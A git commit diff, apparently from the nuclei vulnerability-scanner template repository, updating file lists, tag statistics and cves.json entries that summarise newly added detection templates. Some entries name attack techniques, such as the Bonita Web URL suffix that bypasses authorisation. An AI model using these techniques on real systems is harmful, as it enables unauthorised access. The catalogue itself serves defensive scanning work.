Move CVE-2025-8286 to correct directory and improve template

- Move template from http/cves/2025/ to network/cves/2025/ (TCP protocol)
- Update name to follow format guidelines
- Add max-request metadata
- Improve description clarity
- Add guralp vendor tag
- Fix FOFA query formatting
- Remove trailing spaces

.new-additions

@@ -1,41 +1,13 @@
-http/cves/2017/CVE-2017-18349.yaml
-http/cves/2020/CVE-2020-29390.yaml
-http/cves/2024/CVE-2024-11587.yaml
-http/cves/2024/CVE-2024-29198.yaml
-http/cves/2024/CVE-2024-33832.yaml
-http/cves/2024/CVE-2024-36675.yaml
-http/cves/2024/CVE-2024-42852.yaml
-http/cves/2024/CVE-2024-50477.yaml
-http/cves/2024/CVE-2024-58136.yaml
-http/cves/2024/CVE-2024-9007.yaml
-http/cves/2025/CVE-2025-2709.yaml
-http/cves/2025/CVE-2025-2710.yaml
-http/cves/2025/CVE-2025-2711.yaml
-http/cves/2025/CVE-2025-2712.yaml
-http/cves/2025/CVE-2025-34077.yaml
-http/cves/2025/CVE-2025-34141.yaml
-http/cves/2025/CVE-2025-34143.yaml
-http/cves/2025/CVE-2025-34300.yaml
-http/cves/2025/CVE-2025-40630.yaml
-http/cves/2025/CVE-2025-49029.yaml
-http/cves/2025/CVE-2025-53770.yaml
-http/cves/2025/CVE-2025-53833.yaml
-http/cves/2025/CVE-2025-5961.yaml
-http/cves/2025/CVE-2025-6058.yaml
-http/cves/2025/CVE-2025-6851.yaml
-http/cves/2025/CVE-2025-6970.yaml
-http/exposed-panels/c2/amatera-stealer-panel.yaml
-http/exposed-panels/c2/bofamet-stealer-panel.yaml
-http/exposed-panels/c2/cyber-stealer-panel.yaml
-http/exposed-panels/c2/oxf-phaas-panel.yaml
-http/exposed-panels/saltbo-zpan-panel.yaml
-http/exposed-panels/ysoft/safeq-panel.yaml
-http/misconfiguration/installer/ibarn-installer.yaml
-http/misconfiguration/installer/saltbo-zpan-installer.yaml
-http/misconfiguration/installer/strongshop-installer.yaml
-http/osint/user-enumeration/luma.yaml
-http/vulnerabilities/backdoor/sharepoint-toolshell-backdoor.yaml
-http/vulnerabilities/wordpress/wp-ninja-tables-lfi.yaml
-network/cves/2019/CVE-2019-5544.yaml
-network/detection/vtun-server.yaml
-network/enumeration/nats-server-enum.yaml
+http/cves/2022/CVE-2022-25237.yaml
+http/cves/2024/CVE-2024-2053.yaml
+http/cves/2025/CVE-2025-1595.yaml
+http/cves/2025/CVE-2025-44177.yaml
+http/cves/2025/CVE-2025-6197.yaml
+http/default-logins/apache/apache-inlong-default-login.yaml
+http/default-logins/openmetadata/openmetadata-default-login.yaml
+http/exposed-panels/scalar-detection.yaml
+http/miscellaneous/dnt-policy-detect.yaml
+http/technologies/apache/apache-inlong-detect.yaml
+http/technologies/nocobase-detect.yaml
+http/technologies/openmetadata-detect.yaml
+http/vulnerabilities/other/easycvr-user-info-disclosure.yaml

README.md

@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3248 | dhiyaneshdk   |  1872 | http       |  8877 | info     |  4144 | file |   435 |
-| panel     |  1332 | daffainfo     |   868 | cloud      |   657 | high     |  2430 | dns  |    26 |
-| xss       |  1247 | princechaddha |   826 | file       |   435 | medium   |  2364 |      |       |
-| wordpress |  1172 | dwisiswant0   |   806 | dast       |   255 | critical |  1405 |      |       |
-| exposure  |  1102 | ritikchaddha  |   634 | workflows  |   202 | low      |   319 |      |       |
-| wp-plugin |  1025 | pussycat0x    |   520 | code       |   196 | unknown  |    56 |      |       |
-| osint     |   812 | pikpikcu      |   352 | network    |   142 |          |       |      |       |
+| cve       |  3275 | dhiyaneshdk   |  1877 | http       |  8913 | info     |  4154 | file |   435 |
+| panel     |  1338 | daffainfo     |   868 | cloud      |   657 | high     |  2439 | dns  |    26 |
+| xss       |  1255 | princechaddha |   826 | file       |   435 | medium   |  2374 |      |       |
+| wordpress |  1180 | dwisiswant0   |   806 | dast       |   255 | critical |  1418 |      |       |
+| exposure  |  1105 | ritikchaddha  |   648 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1031 | pussycat0x    |   529 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   813 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
 | tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   777 | pdresearch    |   261 | ssl        |    38 |          |       |      |       |
-| lfi       |   774 | iamnoooob     |   250 | dns        |    23 |          |       |      |       |
+| rce       |   783 | pdresearch    |   267 | ssl        |    38 |          |       |      |       |
+| lfi       |   775 | iamnoooob     |   256 | dns        |    23 |          |       |      |       |
 
-**845 directories, 11246 files**.
+**847 directories, 11287 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3248},{"name":"panel","count":1332},{"name":"xss","count":1247},{"name":"wordpress","count":1172},{"name":"exposure","count":1102},{"name":"wp-plugin","count":1025},{"name":"osint","count":812},{"name":"tech","count":800},{"name":"rce","count":777},{"name":"lfi","count":774},{"name":"misconfig","count":751},{"name":"devops","count":740},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":575},{"name":"packetstorm","count":552},{"name":"wpscan","count":533},{"name":"cve2022","count":513},{"name":"cve2021","count":513},{"name":"cve2023","count":489},{"name":"detect","count":488},{"name":"sqli","count":486},{"name":"cve2024","count":464},{"name":"login","count":450},{"name":"unauth","count":434},{"name":"kev","count":424},{"name":"authenticated","count":423},{"name":"intrusive","count":401},{"name":"file","count":377},{"name":"oast","count":279},{"name":"default-login","count":276},{"name":"cve2020","count":276},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":217},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":211},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"auth-bypass","count":187},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"cve2019","count":182},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":156},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":140},{"name":"security","count":137},{"name":"router","count":131},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"cve2025","count":111},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":84},{"name":"takeover","count":81},{"name":"local","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":75},{"name":"js","count":75},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"file-upload","count":63},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":55},{"name":"dast","count":51},{"name":"php","count":51},{"name":"logs","count":50},{"name":"cve2014","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"ssti","count":46},{"name":"aem","count":46},{"name":"misc","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"plugin","count":44},{"name":"jndi","count":44},{"name":"springboot","count":43},{"name":"ssl","count":43},{"name":"oa","count":43},{"name":"osint-hobby","count":42},{"name":"fortinet","count":42},{"name":"osint-porn","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"miscellaneous","count":39},{"name":"api","count":38},{"name":"sap","count":38},{"name":"cti","count":37},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"google-cloud-sql","count":36},{"name":"wp-theme","count":36},{"name":"osint-misc","count":35},{"name":"lfr","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"xxe","count":34},{"name":"devsecops","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"osint-tech","count":31},{"name":"nginx","count":31},{"name":"graphql","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"ec2","count":30},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"prestashop","count":29},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"ftp","count":29},{"namLine truncated
+{"tags":[{"name":"cve","count":3275},{"name":"panel","count":1338},{"name":"xss","count":1255},{"name":"wordpress","count":1180},{"name":"exposure","count":1105},{"name":"wp-plugin","count":1031},{"name":"osint","count":813},{"name":"tech","count":800},{"name":"rce","count":783},{"name":"lfi","count":775},{"name":"misconfig","count":754},{"name":"devops","count":740},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":578},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"cve2021","count":513},{"name":"cve2022","count":513},{"name":"detect","count":492},{"name":"cve2023","count":489},{"name":"sqli","count":487},{"name":"cve2024","count":472},{"name":"login","count":456},{"name":"unauth","count":436},{"name":"kev","count":436},{"name":"authenticated","count":425},{"name":"intrusive","count":405},{"name":"file","count":377},{"name":"oast","count":284},{"name":"cve2020","count":277},{"name":"default-login","count":276},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":240},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":219},{"name":"malware","count":213},{"name":"osint-social","count":212},{"name":"token","count":211},{"name":"azure","count":210},{"name":"","count":205},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"auth-bypass","count":190},{"name":"cve2018","count":184},{"name":"iot","count":184},{"name":"cve2019","count":183},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":157},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"ssrf","count":148},{"name":"aws-cloud-config","count":147},{"name":"tcp","count":142},{"name":"security","count":137},{"name":"router","count":132},{"name":"cve2025","count":127},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":85},{"name":"local","count":81},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"js","count":76},{"name":"windows","count":76},{"name":"cisco","count":75},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":66},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"cve2015","count":61},{"name":"alibaba","count":61},{"name":"cve2016","count":60},{"name":"atlassian","count":59},{"name":"google","count":59},{"name":"detection","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"audit","count":55},{"name":"php","count":52},{"name":"dast","count":51},{"name":"logs","count":50},{"name":"cve2014","count":50},{"name":"tenable","count":48},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"ssti","count":48},{"name":"generic","count":47},{"name":"ssh","count":47},{"name":"debug","count":47},{"name":"misc","count":46},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"injection","count":45},{"name":"plugin","count":45},{"name":"aliyun","count":45},{"name":"jndi","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"fortinet","count":42},{"name":"ibm","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"tls","count":41},{"name":"firewall","count":41},{"name":"listing","count":40},{"name":"info-leak","count":40},{"name":"miscellaneous","count":39},{"name":"postgresql","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"sap","count":38},{"name":"api","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"yonyou","count":32},{"name":"printer","count":31},{"name":"vpc","count":31},{"name":"graphql","count":31},{"name":"nginx","count":31},{"name":"osint-tech","count":31},{"name":"ec2","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"osint-coding","count":30},{"name":"prestashop","count":29},{"name":"gke","count":29},{"name":"ftp","count":29},{"naLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3248 | dhiyaneshdk   |  1872 | http       |  8877 | info     |  4144 | file |   435 |
-| panel     |  1332 | daffainfo     |   868 | cloud      |   657 | high     |  2430 | dns  |    26 |
-| xss       |  1247 | princechaddha |   826 | file       |   435 | medium   |  2364 |      |       |
-| wordpress |  1172 | dwisiswant0   |   806 | dast       |   255 | critical |  1405 |      |       |
-| exposure  |  1102 | ritikchaddha  |   634 | workflows  |   202 | low      |   319 |      |       |
-| wp-plugin |  1025 | pussycat0x    |   520 | code       |   196 | unknown  |    56 |      |       |
-| osint     |   812 | pikpikcu      |   352 | network    |   142 |          |       |      |       |
+| cve       |  3275 | dhiyaneshdk   |  1877 | http       |  8913 | info     |  4154 | file |   435 |
+| panel     |  1338 | daffainfo     |   868 | cloud      |   657 | high     |  2439 | dns  |    26 |
+| xss       |  1255 | princechaddha |   826 | file       |   435 | medium   |  2374 |      |       |
+| wordpress |  1180 | dwisiswant0   |   806 | dast       |   255 | critical |  1418 |      |       |
+| exposure  |  1105 | ritikchaddha  |   648 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1031 | pussycat0x    |   529 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   813 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
 | tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   777 | pdresearch    |   261 | ssl        |    38 |          |       |      |       |
-| lfi       |   774 | iamnoooob     |   250 | dns        |    23 |          |       |      |       |
+| rce       |   783 | pdresearch    |   267 | ssl        |    38 |          |       |      |       |
+| lfi       |   775 | iamnoooob     |   256 | dns        |    23 |          |       |      |       |

cves.json

@@ -1804,6 +1804,7 @@
 {"ID":"CVE-2022-25149","Info":{"Name":"WordPress Plugin WP Statistics \u003c= 13.1.5 - SQL Injection","Severity":"high","Description":"The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the IP parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-25149.yaml"}
 {"ID":"CVE-2022-25216","Info":{"Name":"DVDFab 12 Player/PlayerFab - Local File Inclusion","Severity":"high","Description":"DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-25216.yaml"}
 {"ID":"CVE-2022-25226","Info":{"Name":"ThinVNC - Authentication Bypass","Severity":"critical","Description":"ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2022/CVE-2022-25226.yaml"}
+{"ID":"CVE-2022-25237","Info":{"Name":"Bonita Web 2021.2 - Authentication/Authorization Bypass","Severity":"critical","Description":"Bonita Web 2021.2 contains an authentication/authorization bypass vulnerability caused by an overly broad exclude pattern in RestAPIAuthorizationFilter, allowing unauthenticated users to access privileged API endpoints by appending ;i18ntranslation or /../i18ntranslation/ to the URL.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-25237.yaml"}
 {"ID":"CVE-2022-25323","Info":{"Name":"ZEROF Web Server 2.0 - Cross-Site Scripting","Severity":"medium","Description":"ZEROF Web Server 2.0 allows /admin.back cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-25323.yaml"}
 {"ID":"CVE-2022-2535","Info":{"Name":"SearchWP Live Ajax Search \u003c 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure","Severity":"medium","Description":"The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2535.yaml"}
 {"ID":"CVE-2022-25356","Info":{"Name":"Alt-n/MDaemon Security Gateway \u003c=8.5.0 - XML Injection","Severity":"medium","Description":"Alt-n/MDaemon Security Gateway through 8.5.0 is susceptible to XML injection via SecurityGateway.dll?view=login. An attacker can inject an arbitrary XML argument by adding a new parameter in the HTTP request URL. As a result, the XML parser fails the validation process and discloses information such as protection used (2FA), admin email, and product registration keys.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-25356.yaml"}
@@ -2656,6 +2657,7 @@
 {"ID":"CVE-2024-20419","Info":{"Name":"Cisco SSM On-Prem \u003c= 8-202206 - Password Reset Account Takeover","Severity":"critical","Description":"A vulnerability in the authentication system of Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an unauthenticated, remote attacker to change the password of any user, including administrative users. This vulnerability is due to improper implementation of the password-change process.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-20419.yaml"}
 {"ID":"CVE-2024-20439","Info":{"Name":"Hardcoded Admin Credentials For Cisco Smart Licensing Utility API","Severity":"critical","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to log in to an affected system by using a static administrative credential.This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to log in to the affected system. A successful exploit could allow the attacker to log in to the affected system with administrative privileges over the API of the Cisco Smart Licensing Utility application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-20439.yaml"}
 {"ID":"CVE-2024-20440","Info":{"Name":"Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials","Severity":"high","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-20440.yaml"}
+{"ID":"CVE-2024-2053","Info":{"Name":"Artica Proxy  - Unauthenticated LFI","Severity":"high","Description":"The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the \"www-data\" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the \"www-data\" user.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-2053.yaml"}
 {"ID":"CVE-2024-20767","Info":{"Name":"Adobe ColdFusion - Arbitrary File Read","Severity":"high","Description":"ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Access Control vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to sensitive files and perform arbitrary file system write. Exploitation of this issue does not require user interaction.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2024/CVE-2024-20767.yaml"}
 {"ID":"CVE-2024-21136","Info":{"Name":"Oracle Retail Xstore Suite - Pre-authenticated Path Traversal","Severity":"high","Description":"Vulnerability in the Oracle Retail Xstore Office product of Oracle Retail Applications (component: Security). Supported versions that are affected are 19.0.5, 20.0.3, 20.0.4, 22.0.0 and 23.0.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Retail Xstore Office. While the vulnerability is in Oracle Retail Xstore Office, attacks may significantly impact additional products (scope change).\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-21136.yaml"}
 {"ID":"CVE-2024-21485","Info":{"Name":"Dash Framework - Cross-site Scripting","Severity":"medium","Description":"Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2024/CVE-2024-21485.yaml"}
@@ -3042,6 +3044,7 @@
 {"ID":"CVE-2025-1097","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1097.yaml"}
 {"ID":"CVE-2025-1098","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1098.yaml"}
 {"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
+{"ID":"CVE-2025-1595","Info":{"Name":"EasyCVR \u003c=2.1.2 - Information Disclosure","Severity":"medium","Description":"A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1595.yaml"}
 {"ID":"CVE-2025-1661","Info":{"Name":"HUSKY – Products Filter Professional for WooCommerce \u003c= 1.3.6.5 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1661.yaml"}
 {"ID":"CVE-2025-1743","Info":{"Name":"Pichome 2.1.0 - Arbitrary File Read","Severity":"high","Description":"A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1743.yaml"}
 {"ID":"CVE-2025-1974","Info":{"Name":"Ingress-Nginx Controller - Remote Code Execution","Severity":"critical","Description":"A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1974.yaml"}
@@ -3126,6 +3129,7 @@
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
+{"ID":"CVE-2025-44177","Info":{"Name":"White Star Software ProTop - Directory Traversal","Severity":"high","Description":"A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-44177.yaml"}
 {"ID":"CVE-2025-4427","Info":{"Name":"Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution","Severity":"critical","Description":"An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4427.yaml"}
 {"ID":"CVE-2025-45854","Info":{"Name":"JEHC-BPM - Remote Code Execute","Severity":"critical","Description":"A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM \u003c= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-45854.yaml"}
 {"ID":"CVE-2025-45985","Info":{"Name":"Blink Router - Command Injection","Severity":"critical","Description":"Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain a command injection vulnerability via the bs_SetSSIDHide function.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-45985.yaml"}
@@ -3153,6 +3157,7 @@
 {"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
